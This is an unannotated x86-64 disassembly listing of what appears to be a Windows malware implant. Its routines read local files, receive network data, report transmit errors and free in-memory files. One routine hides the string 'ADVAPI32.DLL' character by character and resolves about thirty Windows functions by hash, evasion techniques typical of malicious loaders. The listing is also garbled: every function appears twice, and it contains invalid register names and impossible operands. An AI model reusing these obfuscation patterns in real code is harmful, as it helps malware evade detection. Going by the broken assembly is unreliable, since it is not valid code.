14001abb2mov rax, [rsi+2230]
14001abb9mov ecx, 1
14001abbemov edx, [rax+104]
14001abc1call PackageTransmitError
14001abc6test rbx, rbx
14001abc9je 0x14001ac5e
14001abcfjmp 0x14001ac56
14001abd4
14001abd4loc_14001abd4:
14001abd4xor edx, edx
14001abd6mov rcx, rbx
14001abd9call [rsi+828]
14001abdfmov ecx, 64
14001abe4mov edx, eax
14001abe6mov [rdi], eax
14001abe8call [rsi+932]
14001abeexor ecx, ecx
14001abf0lea r9, [rsp+76]
14001abf5mov [rbp], rax
14001abf9mov rdx, rax
14001abfcmov [rsp+32], rcx
14001ac01mov rcx, rbx
14001ac04mov r8l, [rdi]
14001ac07call [rsi+916]
14001ac0dtest eax, eax
14001ac0fjne 0x14001ac47
14001ac11lea r9, [rip+63472]
14001ac18mov r8l, 906
14001ac1elea rdx, [rip+0x126eb]
14001ac25lea rcx, [rip+63297]
14001ac2ccall printf
14001ac31mov rax, [rsi+2230]
14001ac38mov ecx, 1
14001ac3dmov edx, [rax+104]
14001ac40call PackageTransmitError
14001ac45jmp 0x14001ac56
14001ac47
14001ac47loc_14001ac47:
14001ac47mov rcx, rbx
14001ac4acall SysNtClose
14001ac4fmov eax, 1
14001ac54jmp 0x14001ac7d
14001ac56
14001ac56loc_14001ac56:
14001ac56mov rcx, rbx
14001ac59call SysNtClose
14001ac5e
14001ac5eloc_14001ac5e:
14001ac5emov rcx, [rbp]
14001ac62test rcx, rcx
14001ac65jne 0x14001ac6b
14001ac67
14001ac67loc_14001ac67:
14001ac67xor eax, eax
14001ac69jmp 0x14001ac7d
14001ac6b
14001ac6bloc_14001ac6b:
14001ac6bcall [rsi+940]
14001ac71xor eax, eax
14001ac73xor edx, edx
14001ac75mov [rbp], rax
14001ac79mov [rdi], edx
14001ac7bjmp 0x14001ac67
14001ac7d
14001ac7dloc_14001ac7d:
14001ac7dadd rsp, 88
14001ac81pop rbx
14001ac82pop rsi
14001ac83pop rdi
14001ac84pop rbp
14001ac85ret
14001ab40
14001ab40ReadLocalFile:
14001ab40push rbp
14001ab41xor r9l, r9l
14001ab44xor r10l, r10l
14001ab47mov rbp, rdx
14001ab4apush rdi
14001ab4bmov rdi, r8
14001ab4exor r8l, r8l
14001ab51mov edx, 0xffffffff80000000
14001ab56push rsi
14001ab57push rbx
14001ab58sub rsp, 88
14001ab5cmov rsi, [rip+0x1180d]
14001ab63mov [rsp+76], r8l
14001ab68xor r8l, r8l
14001ab6bmov [rsp+48], r9
14001ab70xor r9l, r9l
14001ab73mov [rsp+40], r10l
14001ab78mov [rsp+32], 3
14001ab80call [rsi+812]
14001ab86mov rbx, rax
14001ab89dec rax
14001ab8ccmp rax, -3
14001ab90jbe 0x14001abd4
14001ab92lea rdx, [rip+0x12777]
14001ab99lea rcx, [rip+63437]
14001aba0mov r8l, 897
14001aba6lea r9, [rip+63559]
14001abadcall printf
14001abb2mov rax, [rsi+2230]
14001abb9mov ecx, 1
14001abbemov edx, [rax+104]
14001abc1call PackageTransmitError
14001abc6test rbx, rbx
14001abc9je 0x14001ac5e
14001abcfjmp 0x14001ac56
14001abd4
14001abd4loc_14001abd4:
14001abd4xor edx, edx
14001abd6mov rcx, rbx
14001abd9call [rsi+828]
14001abdfmov ecx, 64
14001abe4mov edx, eax
14001abe6mov [rdi], eax
14001abe8call [rsi+932]
14001abeexor ecx, ecx
14001abf0lea r9, [rsp+76]
14001abf5mov [rbp], rax
14001abf9mov rdx, rax
14001abfcmov [rsp+32], rcx
14001ac01mov rcx, rbx
14001ac04mov r8l, [rdi]
14001ac07call [rsi+916]
14001ac0dtest eax, eax
14001ac0fjne 0x14001ac47
14001ac11lea r9, [rip+63472]
14001ac18mov r8l, 906
14001ac1elea rdx, [rip+0x126eb]
14001ac25lea rcx, [rip+63297]
14001ac2ccall printf
14001ac31mov rax, [rsi+2230]
14001ac38mov ecx, 1
14001ac3dmov edx, [rax+104]
14001ac40call PackageTransmitError
14001ac45jmp 0x14001ac56
14001ac47
14001ac47loc_14001ac47:
14001ac47mov rcx, rbx
14001ac4acall SysNtClose
14001ac4fmov eax, 1
14001ac54jmp 0x14001ac7d
14001ac56
14001ac56loc_14001ac56:
14001ac56mov rcx, rbx
14001ac59call SysNtClose
14001ac5e
14001ac5eloc_14001ac5e:
14001ac5emov rcx, [rbp]
14001ac62test rcx, rcx
14001ac65jne 0x14001ac6b
14001ac67
14001ac67loc_14001ac67:
14001ac67xor eax, eax
14001ac69jmp 0x14001ac7d
14001ac6b
14001ac6bloc_14001ac6b:
14001ac6bcall [rsi+940]
14001ac71xor eax, eax
14001ac73xor edx, edx
14001ac75mov [rbp], rax
14001ac79mov [rdi], edx
14001ac7bjmp 0x14001ac67
14001ac7d
14001ac7dloc_14001ac7d:
14001ac7dadd rsp, 88
14001ac81pop rbx
14001ac82pop rsi
14001ac83pop rdi
14001ac84pop rbp
14001ac85ret
14001ab40
14001ac86
14001ac86 // align 0x10
14001ac86 // align 0x10
14001ac90
14001ac90RecvAll:
14001ac90push r12
14001ac92mov r12, r9
14001ac95push rbp
14001ac96mov rbp, rcx
14001ac99push rdi
14001ac9amov edi, r8l
14001ac9dpush rsi
14001ac9emov rsi, rdx
14001aca1push rbx
14001aca2xor ebx, ebx
14001aca4sub rsp, 32
14001aca8
14001aca8loc_14001aca8:
14001aca8cmp ebx, edi
14001acaajae 0x14001acfa
14001acacmov rax, [rip+0x116bd]
14001acb3mov r8l, edi
14001acb6xor r9l, r9l
14001acb9mov rdx, rsi
14001acbcsub r8l, ebx
14001acbfmov rcx, rbp
14001acc2call [rax+1916]
14001acc8cmp eax, -1
14001accbjne 0x14001acf1
14001accdlea r9, [rip+57452]
14001acd4mov r8l, 19
14001acdalea rdx, [rip+0x1266f]
14001ace1lea rcx, [rip+57444]
14001ace8call printf
14001acedxor eax, eax
14001acefjmp 0x14001acff
14001acf1
14001acf1loc_14001acf1:
14001acf1mov edx, eax
14001acf3add ebx, eax
14001acf5add rsi, rdx
14001acf8jmp 0x14001aca8
14001acfa
14001acfaloc_14001acfa:
14001acfamov eax, 1
14001acff
14001acffloc_14001acff:
14001acffmov [r12], ebx
14001ad03add rsp, 32
14001ad07pop rbx
14001ad08pop rsi
14001ad09pop rdi
14001ad0apop rbp
14001ad0bpop r12
14001ad0dret
14001ac90
14001ac90RecvAll:
14001ac90push r12
14001ac92mov r12, r9
14001ac95push rbp
14001ac96mov rbp, rcx
14001ac99push rdi
14001ac9amov edi, r8l
14001ac9dpush rsi
14001ac9emov rsi, rdx
14001aca1push rbx
14001aca2xor ebx, ebx
14001aca4sub rsp, 32
14001aca8
14001aca8loc_14001aca8:
14001aca8cmp ebx, edi
14001acaajae 0x14001acfa
14001acacmov rax, [rip+0x116bd]
14001acb3mov r8l, edi
14001acb6xor r9l, r9l
14001acb9mov rdx, rsi
14001acbcsub r8l, ebx
14001acbfmov rcx, rbp
14001acc2call [rax+1916]
14001acc8cmp eax, -1
14001accbjne 0x14001acf1
14001accdlea r9, [rip+57452]
14001acd4mov r8l, 19
14001acdalea rdx, [rip+0x1266f]
14001ace1lea rcx, [rip+57444]
14001ace8call printf
14001acedxor eax, eax
14001acefjmp 0x14001acff
14001acf1
14001acf1loc_14001acf1:
14001acf1mov edx, eax
14001acf3add ebx, eax
14001acf5add rsi, rdx
14001acf8jmp 0x14001aca8
14001acfa
14001acfaloc_14001acfa:
14001acfamov eax, 1
14001acff
14001acffloc_14001acff:
14001acffmov [r12], ebx
14001ad03add rsp, 32
14001ad07pop rbx
14001ad08pop rsi
14001ad09pop rdi
14001ad0apop rbp
14001ad0bpop r12
14001ad0dret
14001ac90
14001ad0e
14001ad0e // align 0x10
14001ad0e // align 0x10
14001ad10
14001ad10RemoveCoffeeFromInstance:
14001ad10test rcx, rcx
14001ad13je 0x14001ad77
14001ad15mov r8, [rip+0x11654]
14001ad1cmov r10l, [rcx+56]
14001ad20mov rdx, [r8+2334]
14001ad27mov rax, [rdx+84]
14001ad2bcmp [rdx+56], r10l
14001ad2fjne 0x14001ad3f
14001ad31mov [r8+2334], rax
14001ad38ret
14001ad39
14001ad39loc_14001ad39:
14001ad39mov rdx, rax
14001ad3cmov rax, r8
14001ad3f
14001ad3floc_14001ad3f:
14001ad3ftest rax, rax
14001ad42je 0x14001ad57
14001ad44mov r8, [rax+84]
14001ad48mov r11l, [rcx+56]
14001ad4ccmp [rax+56], r11l
14001ad50jne 0x14001ad39
14001ad52mov [rdx+84], r8
14001ad56ret
14001ad57
14001ad57loc_14001ad57:
14001ad57lea r9, [rip+0x1073f]
14001ad5emov r8l, 641
14001ad64lea rdx, [rip+0x12035]
14001ad6blea rcx, [rip+0x10543]
14001ad72jmp 0x140023140
14001ad77
14001ad77loc_14001ad77:
14001ad77ret
14001ad10
14001ad10RemoveCoffeeFromInstance:
14001ad10test rcx, rcx
14001ad13je 0x14001ad77
14001ad15mov r8, [rip+0x11654]
14001ad1cmov r10l, [rcx+56]
14001ad20mov rdx, [r8+2334]
14001ad27mov rax, [rdx+84]
14001ad2bcmp [rdx+56], r10l
14001ad2fjne 0x14001ad3f
14001ad31mov [r8+2334], rax
14001ad38ret
14001ad39
14001ad39loc_14001ad39:
14001ad39mov rdx, rax
14001ad3cmov rax, r8
14001ad3f
14001ad3floc_14001ad3f:
14001ad3ftest rax, rax
14001ad42je 0x14001ad57
14001ad44mov r8, [rax+84]
14001ad48mov r11l, [rcx+56]
14001ad4ccmp [rax+56], r11l
14001ad50jne 0x14001ad39
14001ad52mov [rdx+84], r8
14001ad56ret
14001ad57
14001ad57loc_14001ad57:
14001ad57lea r9, [rip+0x1073f]
14001ad5emov r8l, 641
14001ad64lea rdx, [rip+0x12035]
14001ad6blea rcx, [rip+0x10543]
14001ad72jmp 0x140023140
14001ad77
14001ad77loc_14001ad77:
14001ad77ret
14001ad10
14001ad78
14001ad78 // align 0x10
14001ad78 // align 0x10
14001ad80
14001ad80RemoveMemFile:
14001ad80push rsi
14001ad81mov r9l, ecx
14001ad84push rbx
14001ad85sub rsp, 56
14001ad89mov rsi, [rip+0x115e0]
14001ad90mov rcx, [rsi+2318]
14001ad97test rcx, rcx
14001ad9aje 0x14001ae06
14001ad9ccmp [rcx+40], 0
14001ada1mov rax, rcx
14001ada4jne 0x14001ade5
14001ada6xor ebx, ebx
14001ada8cmp [rcx], r9l
14001adabjne 0x14001adca
14001adadmov [rsp+80], r9l
14001adb2mov ebx, 1
14001adb7call MemFileFree
14001adbcxor eax, eax
14001adbemov r9l, [rsp+80]
14001adc3mov [rsi+2318], rax
14001adca
14001adcaloc_14001adca:
14001adcamov [rsp+32], ebx
14001adcemov r8l, 370
14001add4jmp 0x14001ae12
14001add6
14001add6loc_14001add6:
14001add6mov rdx, [rcx+40]
14001addacmp [rcx], r9l
14001adddje 0x14001adec
14001addfmov rax, rcx
14001ade2mov rcx, rdx
14001ade5
14001ade5loc_14001ade5:
14001ade5test rcx, rcx
14001ade8jne 0x14001add6
14001adeajmp 0x14001ae06
14001adec
14001adecloc_14001adec:
14001adecmov [rax+40], rdx
14001adf0mov ebx, 1
14001adf5mov [rsp+80], r9l
14001adfacall MemFileFree
14001adffmov r9l, [rsp+80]
14001ae04jmp 0x14001ae08
14001ae06
14001ae06loc_14001ae06:
14001ae06xor ebx, ebx
14001ae08
14001ae08loc_14001ae08:
14001ae08mov [rsp+32], ebx
14001ae0cmov r8l, 399
14001ae12
14001ae12loc_14001ae12:
14001ae12lea rdx, [rip+0x117a7]
14001ae19lea rcx, [rip+53488]
14001ae20call printf
14001ae25add rsp, 56
14001ae29mov eax, ebx
14001ae2bpop rbx
14001ae2cpop rsi
14001ae2dret
14001ad80
14001ad80RemoveMemFile:
14001ad80push rsi
14001ad81mov r9l, ecx
14001ad84push rbx
14001ad85sub rsp, 56
14001ad89mov rsi, [rip+0x115e0]
14001ad90mov rcx, [rsi+2318]
14001ad97test rcx, rcx
14001ad9aje 0x14001ae06
14001ad9ccmp [rcx+40], 0
14001ada1mov rax, rcx
14001ada4jne 0x14001ade5
14001ada6xor ebx, ebx
14001ada8cmp [rcx], r9l
14001adabjne 0x14001adca
14001adadmov [rsp+80], r9l
14001adb2mov ebx, 1
14001adb7call MemFileFree
14001adbcxor eax, eax
14001adbemov r9l, [rsp+80]
14001adc3mov [rsi+2318], rax
14001adca
14001adcaloc_14001adca:
14001adcamov [rsp+32], ebx
14001adcemov r8l, 370
14001add4jmp 0x14001ae12
14001add6
14001add6loc_14001add6:
14001add6mov rdx, [rcx+40]
14001addacmp [rcx], r9l
14001adddje 0x14001adec
14001addfmov rax, rcx
14001ade2mov rcx, rdx
14001ade5
14001ade5loc_14001ade5:
14001ade5test rcx, rcx
14001ade8jne 0x14001add6
14001adeajmp 0x14001ae06
14001adec
14001adecloc_14001adec:
14001adecmov [rax+40], rdx
14001adf0mov ebx, 1
14001adf5mov [rsp+80], r9l
14001adfacall MemFileFree
14001adffmov r9l, [rsp+80]
14001ae04jmp 0x14001ae08
14001ae06
14001ae06loc_14001ae06:
14001ae06xor ebx, ebx
14001ae08
14001ae08loc_14001ae08:
14001ae08mov [rsp+32], ebx
14001ae0cmov r8l, 399
14001ae12
14001ae12loc_14001ae12:
14001ae12lea rdx, [rip+0x117a7]
14001ae19lea rcx, [rip+53488]
14001ae20call printf
14001ae25add rsp, 56
14001ae29mov eax, ebx
14001ae2bpop rbx
14001ae2cpop rsi
14001ae2dret
14001ad80
14001ae2e
14001ae2e // align 0x10
14001ae2e // align 0x10
14001ae30
14001ae30RtAdvapi32:
14001ae30push rbp
14001ae31xor eax, eax
14001ae33mov ecx, 65
14001ae38lea rbp, [rip+0x11c41]
14001ae3fpush rdi
14001ae40push rsi
14001ae41lea rsi, [rip+55880]
14001ae48push rbx
14001ae49sub rsp, 56
14001ae4dmov [rsp+35], rax
14001ae52lea rdi, [rsp+35]
14001ae57mov [rsp+40], rax
14001ae5ccall HideChar
14001ae61mov ecx, 86
14001ae66mov [rsp+35], al
14001ae6acall HideChar
14001ae6fmov ecx, 76
14001ae74mov [rsp+37], al
14001ae78call HideChar
14001ae7dmov ecx, 76
14001ae82mov [rsp+46], al
14001ae86call HideChar
14001ae8bmov ecx, 65
14001ae90mov [rsp+45], al
14001ae94call HideChar
14001ae99mov ecx, 46
14001ae9emov [rsp+38], al
14001aea2call HideChar
14001aea7xor ecx, ecx
14001aea9mov [rsp+43], al
14001aeadcall HideChar
14001aeb2mov ecx, 51
14001aeb7mov [rsp+47], al
14001aebbcall HideChar
14001aec0mov ecx, 50
14001aec5mov [rsp+41], al
14001aec9call HideChar
14001aecemov ecx, 68
14001aed3mov [rsp+42], al
14001aed7call HideChar
14001aedcmov ecx, 68
14001aee1mov [rsp+36], al
14001aee5call HideChar
14001aeeamov ecx, 73
14001aeefmov [rsp+44], al
14001aef3call HideChar
14001aef8mov ecx, 80
14001aefdmov [rsp+40], al
14001af01call HideChar
14001af06mov rcx, rdi
14001af09mov [rsp+39], al
14001af0dcall LdrModuleLoad
14001af12mov rbx, [rip+0x11457]
14001af19mov ecx, 13
14001af1etest rax, rax
14001af21mov [rbx+2126], rax
14001af28mov al, 0
14001af2aje 0x14001b209
14001af30rep stosb [rdi], al
14001af32mov rcx, [rbx+2126]
14001af39mov edx, 0x10357d2c
14001af3ecall LdrFunctionAddr
14001af43mov rcx, [rbx+2126]
14001af4amov edx, 0xfffffffff3e5480c
14001af4fmov [rbx+1340], rax
14001af56call LdrFunctionAddr
14001af5bmov rcx, [rbx+2126]
14001af62mov edx, 0xffffffffe139fc0a
14001af67mov [rbx+1356], rax
14001af6ecall LdrFunctionAddr
14001af73mov rcx, [rbx+2126]
14001af7amov edx, 0x7292758a
14001af7fmov [rbx+1364], rax
14001af86call LdrFunctionAddr
14001af8bmov rcx, [rbx+2126]
14001af92mov edx, 0xfffffffffca17e46
14001af97mov [rbx+1532], rax
14001af9ecall LdrFunctionAddr
14001afa3mov rcx, [rbx+2126]
14001afaamov edx, 0x5ed5d61a
14001afafmov [rbx+1348], rax
14001afb6call LdrFunctionAddr
14001afbbmov rcx, [rbx+2126]
14001afc2mov edx, 0x1e344064
14001afc7mov [rbx+1564], rax
14001afcecall LdrFunctionAddr
14001afd3mov rcx, [rbx+2126]
14001afdamov edx, 0xffffffffd51fdf8d
14001afdfmov [rbx+1596], rax
14001afe6call LdrFunctionAddr
14001afebmov rcx, [rbx+2126]
14001aff2mov edx, 0xffffffffd51fdfa3
14001aff7mov [rbx+1540], rax
14001affecall LdrFunctionAddr
14001b003mov rcx, [rbx+2126]
14001b00amov edx, 0xffffffffe249d070
14001b00fmov [rbx+1548], rax
14001b016call LdrFunctionAddr
14001b01bmov rcx, [rbx+2126]
14001b022mov edx, 0xffffffffd9f566f7
14001b027mov [rbx+1588], rax
14001b02ecall LdrFunctionAddr
14001b033mov rcx, [rbx+2126]
14001b03amov edx, 0x677fbb8b
14001b03fmov [rbx+1580], rax
14001b046call LdrFunctionAddr
14001b04bmov rcx, [rbx+2126]
14001b052mov edx, 0xffffffff843a85e8
14001b057mov [rbx+1572], rax
14001b05ecall LdrFunctionAddr
14001b063mov rcx, [rbx+2126]
14001b06amov edx, 0xffffffffe58c8805
14001b06fmov [rbx+1556], rax
14001b076call LdrFunctionAddr
14001b07bmov rcx, [rbx+2126]
14001b082mov edx, 0xffffffffd47b1967
14001b087mov [rbx+1372], rax
14001b08ecall LdrFunctionAddr
14001b093mov rcx, [rbx+2126]
14001b09amov edx, 0x5c0cc90b
14001b09fmov [rbx+1380], rax
14001b0a6call LdrFunctionAddr
14001b0abmov rcx, [rbx+2126]
14001b0b2mov edx, 0x5c048f5c
14001b0b7mov [rbx+1388], rax
14001b0becall LdrFunctionAddr
14001b0c3mov rcx, [rbx+2126]
14001b0camov edx, 0x31e175ce
14001b0cfmov [rbx+1396], rax
14001b0d6call LdrFunctionAddr
14001b0dbmov rcx, [rbx+2126]
14001b0e2mov edx, 0xffffffff9fb18806
14001b0e7mov [rbx+1404], rax
14001b0eecall LdrFunctionAddr
14001b0f3mov rcx, [rbx+2126]
14001b0famov edx, 0x136c4367
14001b0ffmov [rbx+1412], rax
14001b106call LdrFunctionAddr
14001b10bmov rcx, [rbx+2126]
14001b112mov edx, 0xffffffffa9174a4f
14001b117mov [rbx+1420], rax
14001b11ecall LdrFunctionAddr
14001b123mov rcx, [rbx+2126]
14001b12amov edx, 0x1cf324d0
14001b12fmov [rbx+1428], rax
14001b136call LdrFunctionAddr
14001b13bmov rcx, [rbx+2126]
14001b142mov edx, 0xd396389
14001b147mov [rbx+1436], rax
14001b14ecall LdrFunctionAddr
14001b153mov rcx, [rbx+2126]
14001b15amov edx, 0xffffffffc9f4966a
14001b15fmov [rbx+1444], rax
14001b166call LdrFunctionAddr
14001b16bmov rcx, [rbx+2126]
14001b172mov edx, 0xffffffff9d5beb66
14001b177mov [rbx+1604], rax
14001b17ecall LdrFunctionAddr
14001b183mov rcx, [rbx+2126]
14001b18amov edx, 0x4fa8b17d
14001b18fmov [rbx+1452], rax
14001b196call LdrFunctionAddr
14001b19bmov rcx, [rbx+2126]
14001b1a2mov edx, 0x2fb2f7d7
14001b1a7mov [rbx+1460], rax
14001b1aecall LdrFunctionAddr
14001b1b3mov rcx, [rbx+2126]
14001b1bamov edx, 0xffffffffd4c0dda1
14001b1bfmov [rbx+1468], rax
14001b1c6call LdrFunctionAddr
14001b1cbmov rcx, [rbx+2126]
14001b1d2mov edx, 0xe5d12f8
14001b1d7mov [rbx+1476], rax
14001b1decall LdrFunctionAddr
14001b1e3lea r9, [rip+54970]
14001b1eamov rdx, rbp
14001b1edmov rcx, rsi
14001b1f0mov r8l, 57
14001b1f6mov [rbx+1484], rax
14001b1fdcall printf.constprop.0
14001b202mov eax, 1
14001b207jmp 0x14001b225
14001b209
14001b209loc_14001b209:
14001b209rep stosb [rdi], al
14001b20blea r9, [rip+54956]
14001b212mov r8l, 60
14001b218mov rdx, rbp
14001b21bmov rcx, rsi
14001b21ecall printf.constprop.0
14001b223xor eax, eax
14001b225
14001b225loc_14001b225:
14001b225add rsp, 56
14001b229pop rbx
14001b22apop rsi
14001b22bpop rdi
14001b22cpop rbp
14001b22dret
14001ae30
14001ae30RtAdvapi32:
14001ae30push rbp
14001ae31xor eax, eax
14001ae33mov ecx, 65
14001ae38lea rbp, [rip+0x11c41]
14001ae3fpush rdi
14001ae40push rsi
14001ae41lea rsi, [rip+55880]
14001ae48push rbx
14001ae49sub rsp, 56
14001ae4dmov [rsp+35], rax
14001ae52lea rdi, [rsp+35]
14001ae57mov [rsp+40], rax
14001ae5ccall HideChar
14001ae61mov ecx, 86
14001ae66mov [rsp+35], al
14001ae6acall HideChar
14001ae6fmov ecx, 76
14001ae74mov [rsp+37], al
14001ae78call HideChar
14001ae7dmov ecx, 76
14001ae82mov [rsp+46], al
14001ae86call HideChar
14001ae8bmov ecx, 65
14001ae90mov [rsp+45], al
14001ae94call HideChar
14001ae99mov ecx, 46
14001ae9emov [rsp+38], al
14001aea2call HideChar
14001aea7xor ecx, ecx
14001aea9mov [rsp+43], al
14001aeadcall HideChar
14001aeb2mov ecx, 51
14001aeb7mov [rsp+47], al
14001aebbcall HideChar
14001aec0mov ecx, 50
14001aec5mov [rsp+41], al
14001aec9call HideChar
14001aecemov ecx, 68
14001aed3mov [rsp+42], al
14001aed7call HideChar
14001aedcmov ecx, 68
14001aee1mov [rsp+36], al
14001aee5call HideChar
14001aeeamov ecx, 73
14001aeefmov [rsp+44], al
14001aef3call HideChar
14001aef8mov ecx, 80
14001aefdmov [rsp+40], al
14001af01call HideChar
14001af06mov rcx, rdi
14001af09mov [rsp+39], al
14001af0dcall LdrModuleLoad
14001af12mov rbx, [rip+0x11457]
14001af19mov ecx, 13
14001af1etest rax, rax
14001af21mov [rbx+2126], rax
14001af28mov al, 0
14001af2aje 0x14001b209
14001af30rep stosb [rdi], al
14001af32mov rcx, [rbx+2126]
14001af39mov edx, 0x10357d2c
14001af3ecall LdrFunctionAddr
14001af43mov rcx, [rbx+2126]
14001af4amov edx, 0xfffffffff3e5480c
14001af4fmov [rbx+1340], rax
14001af56call LdrFunctionAddr
14001af5bmov rcx, [rbx+2126]
14001af62mov edx, 0xffffffffe139fc0a
14001af67mov [rbx+1356], rax
14001af6ecall LdrFunctionAddr
14001af73mov rcx, [rbx+2126]
14001af7amov edx, 0x7292758a
14001af7fmov [rbx+1364], rax
14001af86call LdrFunctionAddr
14001af8bmov rcx, [rbx+2126]
14001af92mov edx, 0xfffffffffca17e46
14001af97mov [rbx+1532], rax
14001af9ecall LdrFunctionAddr
14001afa3mov rcx, [rbx+2126]
14001afaamov edx, 0x5ed5d61a
14001afafmov [rbx+1348], rax
14001afb6call LdrFunctionAddr
14001afbbmov rcx, [rbx+2126]
14001afc2mov edx, 0x1e344064
14001afc7mov [rbx+1564], rax
14001afcecall LdrFunctionAddr
14001afd3mov rcx, [rbx+2126]
14001afdamov edx, 0xffffffffd51fdf8d
14001afdfmov [rbx+1596], rax
14001afe6call LdrFunctionAddr
14001afebmov rcx, [rbx+2126]
14001aff2mov edx, 0xffffffffd51fdfa3
14001aff7mov [rbx+1540], rax
14001affecall LdrFunctionAddr
14001b003mov rcx, [rbx+2126]
14001b00amov edx, 0xffffffffe249d070
14001b00fmov [rbx+1548], rax
14001b016call LdrFunctionAddr
14001b01bmov rcx, [rbx+2126]
14001b022mov edx, 0xffffffffd9f566f7
14001b027mov [rbx+1588], rax
14001b02ecall LdrFunctionAddr
14001b033mov rcx, [rbx+2126]
14001b03amov edx, 0x677fbb8b
14001b03fmov [rbx+1580], rax
14001b046call LdrFunctionAddr
14001b04bmov rcx, [rbx+2126]
14001b052mov edx, 0xffffffff843a85e8
14001b057mov [rbx+1572], rax
14001b05ecall LdrFunctionAddr
14001b063mov rcx, [rbx+2126]
14001b06amov edx, 0xffffffffe58c8805
14001b06fmov [rbx+1556], rax
14001b076call LdrFunctionAddr
14001b07bmov rcx, [rbx+2126]
14001b082mov edx, 0xffffffffd47b1967
14001b087mov [rbx+1372], rax
14001b08ecall LdrFunctionAddr
14001b093mov rcx, [rbx+2126]
14001b09amov edx, 0x5c0cc90b
14001b09fmov [rbx+1380], rax
14001b0a6call LdrFunctionAddr
14001b0abmov rcx, [rbx+2126]
14001b0b2mov edx, 0x5c048f5c
14001b0b7mov [rbx+1388], rax
14001b0becall LdrFunctionAddr
14001b0c3mov rcx, [rbx+2126]
14001b0camov edx, 0x31e175ce
14001b0cfmov [rbx+1396], rax
14001b0d6call LdrFunctionAddr
14001b0dbmov rcx, [rbx+2126]
14001b0e2mov edx, 0xffffffff9fb18806
14001b0e7mov [rbx+1404], rax
14001b0eecall LdrFunctionAddr
14001b0f3mov rcx, [rbx+2126]
14001b0famov edx, 0x136c4367
14001b0ffmov [rbx+1412], rax
14001b106call LdrFunctionAddr
14001b10bmov rcx, [rbx+2126]
14001b112mov edx, 0xffffffffa9174a4f
14001b117mov [rbx+1420], rax
14001b11ecall LdrFunctionAddr
14001b123mov rcx, [rbx+2126]
14001b12amov edx, 0x1cf324d0
14001b12fmov [rbx+1428], rax
14001b136call LdrFunctionAddr
14001b13bmov rcx, [rbx+2126]
14001b142mov edx, 0xd396389
14001b147mov [rbx+1436], rax
14001b14ecall LdrFunctionAddr
14001b153mov rcx, [rbx+2126]
14001b15amov edx, 0xffffffffc9f4966a
14001b15fmov [rbx+1444], rax
14001b166call LdrFunctionAddr
14001b16bmov rcx, [rbx+2126]
14001b172mov edx, 0xffffffff9d5beb66
14001b177mov [rbx+1604], rax
14001b17ecall LdrFunctionAddr
14001b183mov rcx, [rbx+2126]
14001b18amov edx, 0x4fa8b17d
14001b18fmov [rbx+1452], rax
14001b196call LdrFunctionAddr
14001b19bmov rcx, [rbx+2126]
14001b1a2mov edx, 0x2fb2f7d7
14001b1a7mov [rbx+1460], rax
14001b1aecall LdrFunctionAddr
14001b1b3mov rcx, [rbx+2126]
14001b1bamov edx, 0xffffffffd4c0dda1
14001b1bfmov [rbx+1468], rax
14001b1c6call LdrFunctionAddr
14001b1cbmov rcx, [rbx+2126]
14001b1d2mov edx, 0xe5d12f8
14001b1d7mov [rbx+1476], rax
14001b1decall LdrFunctionAddr
14001b1e3lea r9, [rip+54970]
14001b1eamov rdx, rbp
14001b1edmov rcx, rsi
14001b1f0mov r8l, 57
14001b1f6mov [rbx+1484], rax
14001b1fdcall printf.constprop.0
14001b202mov eax, 1
14001b207jmp 0x14001b225
14001b209
14001b209loc_14001b209:
14001b209rep stosb [rdi], al
14001b20blea r9, [rip+54956]
14001b212mov r8l, 60
14001b218mov rdx, rbp
14001b21bmov rcx, rsi
14001b21ecall printf.constprop.0
14001b223xor eax, eax
14001b225
14001b225loc_14001b225:
14001b225add rsp, 56
14001b229pop rbx
14001b22apop rsi
14001b22bpop rdi
14001b22cpop rbp
14001b22dret
14001ae30
Loading..